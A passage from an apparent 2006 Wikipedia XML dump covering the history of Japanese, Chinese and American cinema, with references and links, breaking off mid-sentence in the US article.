[[Hiroshi Teshigahara]]'s ''[[Woman in the Dunes]]'' ([[1964]]) takes the Special Jury Prize at the [[Cannes Film Festival]], and is nominated for [[Academy Award for Directing|Best Director]] and [[Academy Award for Best Foreign Language Film|Best Foreign Language Film]] [[Academy Award|Oscars]]. [[Masaki Kobayashi]]'s ''[[Kwaidan (film)|Kwaidan]]'' (1965) also picks up the Special Jury Prize at Cannes.

===The 1970s===
[[Nagisa Oshima]] directs ''Ai no koriida'' (''In the Realm of the Senses''; 1976), a [[World War I]] period piece about [[Abe Sada]]. Staunchly anti-censorship, he insists the film contain hardcore pornographic material; as a result the exposed film must be shipped to [[France]] for processing, and an uncut version of the film has still, to this day, never been shown in Japan. However, the [[pink film]] industry became the stepping stone for young independent filmmakers of Japan.

===The 1980s===
[[Hayao Miyazaki]] adapts his [[manga]] ''[[Nausicaä of the Valley of Wind]]'' (''Kaze no tani no Naushika'') into a feature film (an [[anime]] of the same name) in 1984. [[Katsuhiro Otomo]] adapts his manga ''[[Akira (film)|Akira]]'' into a feature-length anime in 1988. New anime movies are run every summer and winter with characters from popular TV anime. [[Shohei Imamura]] wins the Golden Palm at [[Cannes Film Festival|Cannes]] for ''Narayama Bushiko (1983)'' (''Ballad of Narayama''; 1982).

===The 1990s===
Shohei Imamura again wins the Golden Palm (shared with [[Iran|Iranian]] director [[Abbas Kiarostami]]), this time for ''Unagi'' (''The Eel''; 1997), joining [[Alf Sjöberg]], [[Francis Ford Coppola]] and [[Bille August]] as only the fourth two-time recipient. [[Takeshi Kitano]] emerges as a significant filmmaker with works such as ''[[Sonatine]]'' (1993), ''[[Kids Return]]'' (1996) and ''[[Hana-Bi]]'' (1997), which was given the Golden Lion at the [[Venice Film Festival]]. Not to forget, [[Takashi Miike]] makes up to 50 films in a decade, building up an impressive portfolio with titles such as, ''[[Audition (1999 film)|Audition]]'' (1999), ''[[Dead or Alive (film)|Dead or Alive]]'' (1999) and ''Bird People of China'' (1998).
[[Kiyoshi Kurosawa]] and [[Hirokazu Koreeda]] both launch acclaimed careers.

===2000 and after===
[[Hayao Miyazaki]] comes out of retirement to direct ''[[Spirited Away]]'' (''Sen to Chihiro no Kamikakushi''; 2001), breaking Japanese box office records and winning the U.S. [[Academy Award for Best Animated Feature]]. In [[2002]], ''[[Dolls (movie)|Dolls]]'' is released, followed by a high-budget remake, ''[[Zatoichi]]'' in 2003, both directed and written by [[Takeshi Kitano]]. The [[horror film|horror]] films ''[[Ring (film)|Ringu]]'' and ''[[Ju-on: The Grudge]]'' are remade in English and met with commercial success. In 2005, director [[Seijun Suzuki]] made his 56th film, ''[[Princess Raccoon]]''. [[Hirokazu Koreeda]] proclaims film festival awards around the world with two of his films ''[[Distance (film)|Distance]]'' and ''[[Nobody Knows]]''.

==References==
* {{cite book
 | last = Richie | first = Donald
 | year = 2005
 | title = A Hundred Years of Japanese Film: A Concise History, with a Selective Guide to DVDs and Videos
 | publisher = Kodansha America
 | id = ISBN 4770029950
 }}

* {{cite book 
 | last = Bowyer | first = Justin
 | year = 2004
 | title = 24 Frames: The Cinema of Japan and Korea
 | publisher = Wallflower Press, London
 | id = ISBN 1904764118
 }}

==External links==
* [http://www.jmdb.ne.jp/ Japanese Movie Database (in Japanese)]
* [http://www.lisashea.com/japan/movies/mov_main.html Lisa's Japanese Movie Listing]
* [http://www.midnighteye.com/ Midnight Eye]
* [http://www.cinemasie.com/ Cinemasie]
* [http://www.lib.uiowa.edu/eac/japan/RefSourceJpnCinema.htm Resources for the study of Japanese Cinema at the University of Iowa Library]
* [http://www.quad4x.net/yojinbo/ Colin's Master's of Cinema Page]
* [http://www.greencine.com/static/primers/japan-60-1.jsp Japanese Cinema to 1960] by Gregg Rickman
*[http://www.japanesestudies.org.uk/discussionpapers/2005/Iles2.html The Problem of Identity in Contemporary Japanese Horror Films], discussion paper by Timothy Iles in the [http://www.japanesestudies.org.uk/ ''electronic journal of contemporary japanese studies''], [[6 October]] [[2005]].
*[http://www.japanesestudies.org.uk/discussionpapers/2005/Iles.html Female Voices, Male Words: Problems of Communication, Identity and Gendered Social Construction in Contemporary Japanese Cinema], discussion paper by Timothy Iles in the [http://www.japanesestudies.org.uk/ ''electronic journal of contemporary japanese studies''], [[31 January]] [[2003]].
*[http://www.japanesestudies.org.uk/contents/filmreviews.html Reviews of Japanese Films], in the [http://www.japanesestudies.org.uk/ ''electronic journal of contemporary japanese studies''].
* [http://cinema.3yen.com/ Cinema.3Yen] - Daily news and info on Cinema from Japan.

==See also==
*[[Anime]]
*[[Eastern cinema]]
*[[wiktionary:Glossary:Japanese film credit terms|Glossary:Japanese film credit terms]]
*[[History of cinema]]
*[[Japanese Academy Awards]]
*[[Japanese television programs]]
*[[List of Japanese Actors]]
*[[List of Japanese Actresses]]
*[[List of Japanese Directors]]
*[[List of Japanese language films]]
*[[List of Japanese movie studios]]
*[[Seiyu|Seiy&amp;#363;]]
*[[Tendency film]]
*[[Tokusatsu]]

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Cinema of Japan]]
[[Category:Film Industries]]

[[de:Japanischer Film]]
[[fr:Cinéma japonais]]
[[ja:日本映画]]
[[pt:Cinema japonês]]
[[zh:日本電影列表]]</text>
    </revision>
  </page>
  <page>
    <title>Cinema of China</title>
    <id>10791</id>
    <revision>
      <id>40389843</id>
      <timestamp>2006-02-20T05:38:48Z</timestamp>
      <contributor>
        <username>Tryptofeng</username>
        <id>394678</id>
      </contributor>
      <comment>/* Further Readings */</comment>
      <text xml:space="preserve">{{EasternCinema}}The history of [[Chinese_language|Chinese-language]] [[film|cinema]] has three separate threads of development: [[Cinema of Hong Kong]], [[Cinema of China]], and [[Cinema of Taiwan]].  The cinema of [[Mainland China]] after [[1949]] has grown up somewhat suppressed by the [[Chinese Communist Party|Communist]] regime until recent times, although certain films with political overtones are still routinely censored or banned in China itself.  Most of these films though are allowed to be shown abroad in commercially distributed [[theater]]s or in [[film festival]]s.

==The Beginnings: Shanghai as the Center==

Motion pictures were introduced to [[China]] in [[1896]]. The first recorded screening of a motion picture in China occurred in [[Shanghai]] on [[August 11]], [[1896]], as an &quot;act&quot; on a variety bill.  The first Chinese film, a recording of the [[Beijing Opera]], ''The Battle of Dingjunshan'', was made in November [[1905]]. For the next decade the production companies were mainly foreign-owned, and the domestic [[film]] industry did not start in earnest until [[1916]], centering around Shanghai, a thriving entrepot center and the largest city in the Far East then.

During the 1920s film technicians from the [[United States]] trained Chinese technicians in Shanghai, and American influence continued to be felt there for the next two decades.  The first truly important Chinese films were produced starting from the 1930s, when the &quot;progressive&quot; or &quot;left-wing&quot; films were made, like Cheng Bugao's ''Spring Silkworms'' (1933), Sun Yu's ''The Big Road'' (1935), and Wu Yonggang's ''The Goddess'' (1934).  During this time the [[Kuomintang|Nationalists]] and the [[Chinese_Communist_Party|Communists]] struggled for power and control over the major studios, and their influence can be seen in the ensuing films produced.  The post-1930 era is called the first &quot;golden period&quot; of Chinese cinema, where several talented directors, mainly leftist, worked.  The period also produced the first big Chinese movie stars, namely [[Hu Die]], [[Ruan Lingyu]], [[Zhou Xuan]], and [[Jin Yan]].  Other major films of the period include ''Song of the Fishermen'' (1934)'', Crossroads'' (1937), and ''Street Angel'' (1937). 

The [[Second Sino-Japanese War|Japanese invasion of China]], in particular their occupation of Shanghai, ended this golden run in Chinese cinema.  All production companies except Xinhua closed shop, and many of the filmmakers fled Shanghai, relocating in Hong Kong, Communist- and Nationalist-controlled regions, and elsewhere.

==The Second Golden Age: the late 1940s, and the Communist Era==

The film industry continued to develop after [[1945]].  A major Chinese production house, the Lianhua Film Company, re-established itself in Shanghai after the war and once again became the basis for leftist directors.  Many showed the disillusionment with the oppressive rule of [[Chiang Kai-shek]]'s Nationalist Party. ''Myriads of Lights'' (1948), ''Crows and Sparrows'' (1949), ''San Mao'' (1949), and, most importantly, ''The Spring River Flows East'' (1947) are the classics produced during this period.  ''The Spring River Flows East'', a three-hour-long two-parter which depicts the struggles of ordinary Chinese folks during the Sino-Japanese war, was immensely popular during its time, making social and political references to the period.    The Wenhua Film Company, one of the two important production companies formed by left-leaning film-makers in the city (the other one being Lianhua), also contributed some of the masterpieces of this era.  ''Springtime in a Small Town'' or ''Spring in a Small Town'' (1948), a film made by Shanghainese director [[Fei Mu]] prior to the revolution, is often regarded by Chinese film critics as the greatest Chinese film of all time, as well as being one of the most influential (an acclaimed 2002 remake by one of the Fifth Generation Chinese film maker Tian Zhuangzhuang can also be seen). 

With the Communist takeover in [[1949]], the government saw motion pictures as an important mass production art form and [[propaganda]].  The number of movie-viewers increased sharply, from 47 million in [[1949]] to 415 million in [[1959]].  In the 17 years between the founding of the [[People's Republic of China]] and the [[Cultural Revolution]], 603 feature films and 8,342 reels of documentaries and [[newsreel]]s were produced, sponsored as [[Communist Party of China|Communist]] [[propaganda]] by the government. Chinese filmmakers were sent to [[Moscow]] to study Soviet filmmaking. In [[1956]], the Beijing Film Academy was opened.  The first wide-screen Chinese film was produced in 1960. [[Animations|Animated_films]] using a variety of folk arts, such as papercuts, shadow plays, puppetry, and traditional paintings, also were very popular for entertaining and educating children.  The thawing of censorship in 1956-7 and the early 1960s led to more indigeneous Chinese films being made which were less reliant on their Soviet counterparts.  The most prominent filmmaker of this era is [[Xie Jin]], whose two films in particular, ''The Red Detachment of Women'' (1961) and ''Two Stage Sisters'' (1965), exemplify the growing expertise China has in the craft of motion pictures.

==The Cultural Revolution and its Aftermath==

During the [[Cultural Revolution]], the film industry was severely restricted. Almost all previous films were banned, and only a few new ones were produced, the most notable being a ballet version of the revolutionary opera ''The Red Detachment of Women''. Feature film production came almost to a standstill in the early years from 1966 to 1972.  

In the years immediately following the Cultural Revolution, the film industry again flourished as a medium of popular entertainment. Domestically produced films played to large audiences, and tickets for foreign [[film festival]]s sold quickly.  The industry tried to revive crowds by making more innovative and &quot;exploratory&quot; films which take in ideas from the West.

In the [[1980s]] the film industry fell on hard times, faced with the dual problems of competition from other forms of entertainment and concern on the part of the authorities that many of the popular thriller and [[martial art]]s films were socially unacceptable. In January 1986 the film industry was transferred from the Ministry of Culture to the newly formed Ministry of Radio, Cinema, and Television to bring it under &quot;stricter control and management&quot; and to &quot;strengthen supervision over production.&quot; 

The end of the Cultural Revolution brought the release of &quot;scar dramas&quot;, which depicted the emotional traumas left by this period.  The most popular of these is probably Xie Jin's ''Hibiscus Town'' (1986), although they could be seen as late as the 1990s with Tian Zhuangzhuang's ''The Blue Kite'' (1993).

==The rise of the Fifth Generation==

Beginning in the mid-late 1980s, the rise of the so-called Fifth Generation of Chinese filmmakers brought increased popularity of Chinese cinema abroad.  The first generation of filmmakers to produce Chinese films since the Cultural Revolution, they jettisioned traditional methods of storytelling and opted for a more free and unorthodox approach.  Most had graduated from the Beijing Film Academy since 1982.  ''A One And an Eight'' (1983) and ''Yellow Earth'' (1984) (directed by [[Chen Kaige]] and photographed by [[Zhang Yimou]]) in particular were taken to mark the beginnings of the Fifth Generation.  The most famous of the Fifth Generation directors, Chen Kaige and Zhang Yimou went on to produce celebrated works such as ''[[King of Children]]'' (1987), ''[[Farewell My Concubine]]'' (1993), ''[[Judou]]'' (1989), and ''[[Raise the Red Lantern]]'' (1991) which were not only acclaimed by Chinese cinema-goers but by the Western [[art film|arthouse]] audience.  [[Tian Zhuangzhuang]]'s films, though less well-known by Western viewers, were well noted by directors such as [[Martin Scorsese]].  Extremely diverse in style and subject, the Fifth Generation directors' films ranged from black comedy (Huang Jianxin's ''The Black Cannon Incident'', 1985) to the esoteric (Chen Kaige's ''Life on a String'', 1991), but they share a commonn rejection of the socialist-realist tradition worked by earlier Chinese filmmakers in the Communist era.  Other notable Fifth Generation directors include Wu Ziniu, Hu Mei, and Zhou Xiaowen.  Some of their bolder works with political overtones were banned by Chinese authorities.

The Fourth Generation also returned to prominence.  Given their label after the rise of the Fifth Generation, these were directors whose careers were stalled by the Cultural Revolution and who were professionally trained prior to 1966.  Wu Tianming, in particular, made outstanding contributions by helping to finance major Fifth Generation directors under the auspices of the [[Xi'an]] Film Studio, while continuing to make films like ''Old Well'' (1986) and ''King of Masks'' (1996).

The Fifth Generation movement effectively ended in the [[Tiananmen_Square_protests of 1989|1989 Tiananmen Incident]], although its major directors continued to produce notable works.  Several of its filmmakers went into self-imposed exile: Wu Tianming stayed in the [[United States]], Huang Jianxin left for [[Australia]], while many others went into television-related works.

==Sixth Generation and Beyond==

The recent era has seen the &quot;return of the amateur filmmaker&quot; as state [[censorship]] policies have produced an edgy underground film movement loosely referred to as the Sixth Generation (from the number of generations since the 1949 revolution). These films are shot quickly and cheaply, which produces a documentary feel: long takes, hand-held cameras, ambient sound (see [[cinema verite]]). Many films are joint ventures and projects with international investment.  Some important Sixth Generation directors to have emerged are [[Wang Xiaoshuai]] (''The Days'', ''Beijing Bicycle''), [[Zhang Yuan]] (''Beijing Bastards'', ''East Palace West Palace''), [[Jia Zhangke]] (''Xiao Wu'', ''Unknown Pleasures'', ''Platform'', ''The World''), and [[Lou Ye]] (''Suzhou River'').

Unlike the Fifth Generation, the Sixth Generation brings a more individualistic, anti-romantic life-view and pays more attention to contemporary urban life, especially affected by disorientation.

==New Documentaries==
Two decades of reform and marketization have brought dramatic social changes in mainland China, reflected not only in fiction film.  [[Wu Wenguang]]'s  [[Bumming in Beijing]] is now seen as the first work of the New Documentary Movement (NDM) in China. Another internationally acclaimed documentary is [[Wang Bing (documentarist)|Wang Bing]]'s epic nine hour tale of deindustrialization ''Tie Xi Qu'' (&quot;West of tracks&quot;). Li Hong, the first women in the NDM, in ''Out of Phoenix Bridge'' relates the story of four young women, who moving from rural areas to the big cities like millions of other men and women , have come to Beijing to make a living.

==A New Chinese International Cinema?==

In [[1999]], the multi-national production ''[[Crouching Tiger, Hidden Dragon]]'' achieved massive success at the Western box office despite being disregarded by some Chinese cinema-goers as pandering to Western tastes. Nevertheless, it provided an introduction to Chinese cinema for many and increased the popularity of many Chinese films which may have otherwise been relatively unknown to Westerners.

In 2002, ''[[Hero (film)|Hero]]'' was made as a second attempt to produce a Chinese film with the international appeal of ''Crouching Tiger, Hiden Dragon''. The cast and crew featured many of the most famous Chinese actors who were also known to some extent in the West, including [[Jet Li]], [[Zhang Ziyi]], [[Maggie Cheung]], [[Tony Leung Chiu-Wai]], directed by [[Zhang Yimou]]. The film was a phenomenal success in most of Asia and topped the U.S. box office for two weeks, making enough in the U.S. alone to cover the production costs.

The successes of ''Crouching Tiger, Hidden Dragon'' and ''Hero'' blur what may be called the boundary between Mainland Chinese cinema and a more international-based &quot;Chinese-language cinema&quot;.  ''Crouching Tiger'', for example, was made by a Taiwanese director ([[Ang Lee]]), but its leads include Hong Kong, Taiwan, and Mainland Chinese actors and actresses while the funding is from overseas.  This merging of people, resources, and expertise from three regions (China, Hong Kong, and Taiwan) seemed to imply big-budgeted Chinese-language cinema is moving toward an international arena looking to compete with the best [[Hollywood]] films.  Further examples of films in this mould include ''[[House of Flying Daggers]]'' (2004) and ''The Promise'' (2005). However, tighter-financed Chinese-language cinema are still relatively localized in content as seen in those from Hong Kong, Mainland China and Taiwan, especially in the latter two where many of the films have not yet found international distributors abroad.

==See also==
*[[Eastern cinema]]
*[[Cinema of Hong Kong]]
*[[Cinema of Taiwan]]
*[[List of Chinese actors]]
*[[List of Chinese actresses]]
*[[List of Chinese directors]]
*[[Propaganda in the Republic of China]]
*[[Propaganda in the People's Republic of China]]

==Further Readings==
*Rey Chow, ''Primitive Passions: Visuality, Sexuality, Ethnography, and Contemporary Chinese Cinema'', Columbia University Pres 1995
*Shuqin Cui, ''Women Through the Lens: Gender and Nation in a Century of Chinese Cinema'', University of Hawaii Press 2003
*Dai Jinhua, ''Cinema and Desire: Feminist Marxism and Cultural Politics in the Work of Dai Jinhua'', eds. Jing Wang and Tani E. Barlow. London: Verso 2002.
*Laikwan Pang, ''Building a New China in Cinema: The Chinese Left-Wing Cinema Movement, 1932-1937'', Rowman &amp; Littlefield Pub Inc 2002
*Jay Leyda, ''Dianying'', MIT Press, 1972.
*Harry H. Kuoshu, ''Celluloid China: Cinematic Encounters with Culture and Society'', Southern Illinois University Press 2002 - introduction, discusses 15 films at length
*Yingjin Zhang, ''Chinese National Cinema'' (National Cinemas Series.), Routledge 2004 - general introduction
*Cheng, Jim,  ''Annotated Bibliography For Chinese Film Studies'', Hong Kong University Press 2004

==External links==
* [http://www.dianying.com/ Chinese Movie Database]
* [http://www.asiancult.com/ Asian Cult Cinema]
* [http://chinesecinemas.org/ Chinese Cinema Page]
* [http://www.sensasian.com/ Sensasian.com]
* [http://www.yesasia.com/ YesAsia.com]
* [http://www.dyddy.com/ Chinese Movie DataBase(GB)]
* [http://www.cinemasie.com/ Cinemasie]&amp;mdash;A database about Asian Cinemas, including Hong Kong, China and Taiwan.
* [http://csc.ziyi.org/ Zhang Ziyi CSC]
* [http://www.helloziyi.us/ Zhang Ziyi at HelloZiyi.us]
* [http://www.loveasianfilm.com LoveAsianFilm.com - Your Guide To Asian Cinema Experience] Asian DVD/Film Reviews, Features, Trailers, News and more!
* [http://www.associatedcontent.com/article/17286/personal_revolutions_from_chinas_5th.html?email=true Essay on 3 Chinese Films and the Cultural Revolution] 
[[Category:Cinema of China| ]]
&lt;!-- The below are interlanguage links. --&gt;

[[de:Chinesischer Film]]
[[fr:Cinéma chinois]]
[[zh:中华电影]]</text>
    </revision>
  </page>
  <page>
    <title>Cinema of the United States</title>
    <id>10792</id>
    <revision>
      <id>42159657</id>
      <timestamp>2006-03-04T05:23:39Z</timestamp>
      <contributor>
        <username>Jrquinlisk</username>
        <id>43020</id>
      </contributor>
      <comment>rv vandalism</comment>
      <text xml:space="preserve">{{usculture}}The '''cinema of the United States''', although it is sometimes simply referred to as '''Hollywood''' does ''not'' refer only to the [[film industry]] of the [[United States of America]]. Other modes of production like [[documentary film]] or [[experimental film]] managed to exist beside the dominant cinema. Much like American popular music, the American film industry has has had a profound effect on cinema across the world since the early [[20th century]]. Its history is marked by four distinct periods: the silent era, [[Classical Hollywood cinema]], [[New Hollywood]] and the contemporary period (after 1980). 
	 
==History==
===Early development===
	 
[[Image:Great_train_robbery_still.jpg|thumb|220px|right|Justus D. Barnes in Edwin S. Porter's ''The Great Train Robbery'']]
	 
The birth of cinema, as well as its radical development, can largely be traced back to the United States. The first recorded instance of photographs capturing and reproducing motion was [[Eadweard Muybridge]]'s series of photographs of a [http://en.wikipedia.org/wiki/Image:The_Horse_in_Motion.jpg running horse], which he captured in [[Palo Alto, California]], using a set of still cameras placed in a row. Muybridge's accomplishment led inventors everywhere to attempt forming devices that would similar capture such motion. In the United States, [[Thomas Alva Edison]] was among the first to produce such a device, the ''[[kinetoscope]]'', whose heavy-handed patent enforcement caused early filmmakers to look for alternatives.
	 
In the United States, the first exhibitions of films for large audiences typically followed the intermissions in [[vaudeville]] shows. Entrepreneurs began travelling to exhibit their films, bringing to the world the first forays into dramatic filmmaking. The first huge success of American cinema, as well as the largest experimental achievement to its point, was ''[[The Great Train Robbery (1903 film)|The Great Train Robbery]]'', directed by [[Edwin S. Porter]].
	 
===Rise of Hollywood===
In early 1910, director [[D. W. Griffith]] was sent by the [[American Mutoscope and Biograph Company|Biograph Company]] to the west coast with his acting troop consisting of actors [[Blanche Sweet]], [[Lillian Gish]], [[Mary Pickford]], [[Lionel Barrymore]], and others. They started filming on a vacant lot near Georgia Street in Downtown [[Los Angeles]]. The company decided while there to explore new territories and travelled several miles north to a little village that was friendly and enjoyed the movie company filming there. This place was called &quot;[[Hollywood]]&quot;. D. W. Griffith then filmed the first movie ever shot in Hollywood called ''[[In Old California (1910)|In Old California]]'', a Biograph melodrama about Latino/Mexican occupied California in the 1800's. Biograph stayed there for months and made several films before returning to New York. After hearing about this wonderful place, in 1913 many movie-makers headed west to avoid the fees imposed by Thomas Edison, who owned patents on the movie-making process. In [[Los Angeles, California]], the [[List of Hollywood movie studios|studios]] and [[Hollywood]] grew. Before [[World War I]], movies were made in several U.S. cities, but filmmakers gravitated to southern [[California]] as the industry developed. They were attracted by the mild climate and reliable sunlight, which made it possible to film movies outdoors year-round, and by the varied scenery that was available. There are several starting points for American cinema, but it was [[David Wark Griffith]]'s [[Birth of a Nation]] that pioneered the filmic vocabulary that still dominates celluoid to this day.
	 
[[Image:10045196.jpg|thumb|250px|left|[[Laurel and Hardy]]]]
	 
In the early [[1900s]], when the medium was new, many immigrants, particularly [[Jew]]s, found employment in the U.S. film industry. Kept out of other occupations by racial prejudice, they were able to make their mark in a brand-new business: the exhibition of short films in storefront theaters called [[Nickelodeon movie theater|nickelodeon]]s, after their admission price of a nickel (five cents). Within a few years, ambitious men like [[Samuel Goldwyn]], [[Carl Laemmle]], [[Adolph Zukor]], [[Louis B. Mayer]], and the [[Warner Brothers]] (Harry, Albert, Samuel, and Jack) had switched to the production side of the business. Soon they were the heads of a new kind of enterprise: the [[movie studio]]. (It is worth noting that the US had at least one female director, producer and studio head in these early years, [[Alice Guy Blaché]].) They also set the stage for the industry's internationalism; the industry is often accused of Amero-centric provincialism, but simultaneously employs a huge number of foreign-born talent: from Swedish actress [[Greta Garbo]] to Australian [[Nicole Kidman]], from Hungarian director [[Michael Curtiz]] to Mexican director [[Alfonso Cuarón]].
	 
Other moviemakers arrived from [[Europe]] after World War I: directors like [[Ernst Lubitsch]], [[Alfred Hitchcock]], [[Fritz Lang]], and [[Jean Renoir]]; actors like [[Rudolph Valentino]], [[Marlene Dietrich]], [[Ronald Colman]], and [[Charles Boyer]]. They joined a homegrown supply of actors--lured west from the [[New York City]] stage after the introduction of sound films--to form one of the 20th century's most remarkable growth industries. At motion pictures' height of popularity in the mid-[[1940s]], the studios were cranking out a total of about 400 movies a year, seen by an audience of 90 million Americans per week.
	 
===Golden Age of Hollywood===
	 
[[Image:As Dorothy with dog Toto, The Wizard of Oz.jpg|thumb|220px|right|[[Judy Garland]] in ''[[The Wizard of Oz]]'' (1939).]]
	 
During the so-called [[Classical Hollywood cinema|Golden Age of Hollywood]], which lasted from the virtual end of the silent era in the late 1920s to towards the end of the 1940s, movies issued from the Hollywood studios like &lt;!--Whoever inserted 'went', it is redundant as it duplicates the intended reading of 'issued'--&gt;the cars rolling off Henry Ford's assembly lines. No two movies were exactly the same, but most followed a formula: Western, slapstick comedy, film noir, musical, animated cartoon, biopic (biographical picture), etc. Yet each movie was a little different, and, unlike the craftsmen who made cars, many of the people who made movies were artists. For example, ''[[To Have and Have Not (film)|To Have and Have Not]]'' (1944) is famous not only for the first pairing of actors [[Humphrey Bogart]] ([[1899]]-[[1957]]) and [[Lauren Bacall]] ([[1924]]- ) but also for being written by two future winners of the [[Nobel Prize in Literature]]: [[Ernest Hemingway]] ([[1899]]-[[1961]]), author of the novel on which the script was nominally based, and [[William Faulkner]] ([[1897]]-[[1962]]), who worked on the screen adaptation.
	 
Moviemaking was still a business, however, and motion picture companies made money by operating under the so-called [[studio system]]. The major studios kept thousands of people on salary--actors, producers, directors, writers, stuntmen, craftspersons, and technicians. And they owned hundreds of theaters in cities and towns across the nation--theaters that showed their films and that were always in need of fresh material.
	 
Many film historians have remarked upon the many great works of cinema that emerged from this period of highly regimented filmmaking. One reason this was possible is that, with so many movies being made, not every one had to be a big hit. A studio could gamble on a medium-budget feature with a good script and relatively unknown actors: ''[[Citizen Kane]]'', directed by [[Orson Welles]] ([[1915]]-[[1985]]) and widely regarded as one of the [[List of movies that have been considered the greatest ever|greatest movies of all time]], fits that description. In other cases, strong-willed directors like [[Howard Hawks]] ([[1896]]-[[1977]]) and [[Frank Capra]] ([[1897]]-[[1991]]) battled the studios in order to achieve their artistic visions. The apogee of the studio system may have been the year [[1939]], which saw the release of such classics as ''[[The Wizard of Oz (1939 film)|The Wizard of Oz]]'', ''[[Gone with the Wind (film)|Gone with the Wind]]'', ''[[Stagecoach (film)|Stagecoach]]'', ''[[Mr. Smith Goes to Washington]]'', ''[[Only Angels Have Wings]]'', ''[[Ninotchka]]'', and ''[[Midnight (1939 film)|Midnight]]''. Among the other films in the Golden Age period that remain classics to the present day: ''[[Casablanca (film)|Casablanca]]'', ''[[It's a Wonderful Life]]'', the original ''[[King Kong]]'', and ''[[Snow White and the Seven Dwarfs (1937 film)|Snow White and the Seven Dwarfs]]''.
	 
The studio system and the Golden Age of Hollywood itself succumbed to two forces in the late 1940s: (1) a [[United States v. Paramount Pictures, Inc.|federal antitrust action]] that separated the production of films from their exhibition; and (2) the advent of [[Television in the United States|television]]. The number of movies being made dropped sharply, even as the average budget soared, marking a change in strategy for the industry. Studios now aimed to produce entertainment that could not be offered by television: spectacular, larger-than-life productions, while others would lose the rights to their theatrical film libraries to other companies to sell to television.
	 
===Changing realities and television's rise===
[[Image:Rider3.jpg|220px|thumb|''[[Easy Rider]]'' (1969).]]
	 
Though television broke the movie industry's hegemony in American entertainment, the rise of television would prove advantageous, in its way, to the movies. This is because public opinion about the quality of television content soon declined, and by contrast, cinema's status began to be regarded more and more as a serious art form as worthy of respect and study as the [[fine art|fine arts]]. This was complimented with the [[Miracle Decision]] in which the [[Supreme Court of the United States]] reversed its earlier position and stated that motion pictures were an artform entitled to the protection of the [[First Amendment to the United States Constitution|First amendment]].
	 
===The 'New Hollywood' or Post-classical cinema===
'[[New Hollywood|The New Hollywood]]' and 'post-classical cinema' are terms used to describe the period following the decline of the [[studio system]] in the 50s and 60s and the end of the [[production code]]. It is defined by a greater tendency to dramatize such things as sexuality and violence, and by the rising importance of [[blockbuster (entertainment)|blockbuster]] movies.
	 
'Post-classical cinema' is a term used to describe the changing methods of storytelling in the New Hollywood. It has been argued that new approaches to [[drama]] and characterization played upon audience expectations acquired in the classical/Golden Age period: chronology may be scrambled, storylines may feature &quot;twist endings&quot;, and lines between the [[antagonist]] and [[protagonist]] may be blurred. The roots of post-classical storytelling may be seen in ''film noir'', in ''[[Rebel Without a Cause]]'' (1955), and in Hitchcock's storyline-shattering ''[[Psycho]]''.
	 
===Blockbusters===
	 
[[Image:StarWarsMoviePoster1977.jpg|220px|thumb|right|Original 1977 poster for ''[[Star Wars Episode IV: A New Hope]]''.]]
The drive to produce spectacle on the movie screen has largely shaped American cinema ever since. Spectacular epics which took advantage of new [[widescreen]] processes were increasingly popular from the [[1950s]] onwards. Since then, American films have become increasingly divided into two categories: [[blockbuster (entertainment)|blockbusters]] and [[independent film]]s. Studios have focused on relying on a handful of extremely expensive releases every year in order to remain profitable. Such blockbusters emphasize spectacle, star power, and high production value, all of which entail an enormous budget. Blockbusters typically rely upon star power and massive [[advertising]] to attract a huge audience. A successful blockbuster will attract an audience large enough to offset production costs and reap considerable profits. Such productions carry a subtantial risk of failure, and most studios release blockbusters that both over- and underperform in a year.
	 
A major change to American filmmaking occurred during the [[1970s]] when a new breed of young directors who had degrees from film schools and who had absorbed the techniques developed in Europe in the [[1960s]] emerged. Directors like [[Francis Ford Coppola]], [[George Lucas]], [[Brian de Palma]], [[Martin Scorsese]], and [[Steven Spielberg]] came to produce fare that paid homage to the history of film, and developed upon existing genres and techniques. Their movies were often both critically acclaimed and successful at the box office. Coppola, Spielberg, and Lucas in particular are credited with shaping the blockbuster model in its current form, with the colossal successes of ''[[The Godfather]]'', ''[[Jaws (film)|Jaws]]'', and ''[[Star Wars Episode IV: A New Hope]]'', respectively. These movies, which each set the all-time box office record during their releases, induced studios to focus even more heavily than before on trying to produce humongous hits.
	 
==Independent film==
	 
[[Image:Pulp_Fiction_Vincent_and_Jules.jpg|thumb|left|300px|[[John Travolta]] and [[Samuel L. Jackson]] in ''[[Pulp Fiction]]'' (1994).]]
	 
Studios supplement these movies with independent productions, made with small budgets and often independently of the studio corporation. Movies made in this manner typically emphasize high professional quality in terms of acting, directing, screenwriting, and other elements associated with production, and also upon creativity and innovation. These movies usually rely upon critical praise or niche marketing to garner an audience. Because of an independent film's low budgets, a successful independent film can have a high profit-to-cost ratio, while a failure will incur minimal losses, allowing for studios to sponsor dozens of such productions in addition to their high-stakes releases.
	 
American independent cinema was revitalized in the late [[1980s]] and early [[1990s]] when another new generation of moviemakers, including [[Spike Lee]], [[Steven Soderbergh]], and [[Quentin Tarantino]] made movies like, respectively, ''[[Do the Right Thing]]'', ''[[Sex, Lies, and Videotape]]'', and ''[[Pulp Fiction]]''. In terms of directing, screenwriting, editing, and other elements, these movies were innovative and often irreverent, playing with and contradicting the conventions of Hollywood movies. Furthermore, their considerable financial successes and crossover into popular culture reestablished the commercial viability of independent film. Since then, the independent film industry has become more clearly defined and more influential in American cinema. Many of the major studios have capitalised on this by developing subsidiaries to produce similar films; for example [[Fox Searchlight Pictures]].
	 
[[Image:Movie_poster_the_shawshank_redemption.jpg|thumb|right|220px|''[[The Shawshank Redemption]]'' (1994).]]
	 
To a lesser degree in the 2000s, film types that were previously considered to have only a minor presence in the mainstream movie market began to arise as more potent American box office draws. These include foreign-language films such as ''[[Crouching Tiger, Hidden Dragon]]'' and ''[[Hero]]'' and [[documentary film]]s such as the films of [[Michael Moore]] (''[[Bowling for Columbine]]'', ''[[Fahrenheit 9/11]]''), ''[[Super Size Me]]'' and ''[[March of the Penguins]]''.
	 
===Rise of the home video market===
The [[1980s]] and [[1990s]] saw another significant development. The full acceptance of [[video]] by studios opened a vast new business to exploit which allowed many acclaimed films which performed poorly in their theatrical to find success in the video market such as ''[[The Secret of NIMH]]'' and ''[[The Shawshank Redemption]]''. It also saw the first generation of film makers with access to video tapes emerge. Directors such as Tarantino and [[P.T. Anderson]] had been able to view thousands of films and produced films with vast numbers of references and connections to previous works. This, along with the explosion of independent film and ever-decreasing costs for filmmaking,</text>
    </revision>
  </page>
  <page>
    <title>Cinema of the United Kingdom</title>
    <id>10793</id>
    <revision>
      <id>41530331</id>
      <timestamp>2006-02-27T23:45:31Z</timestamp>
      <contributor>
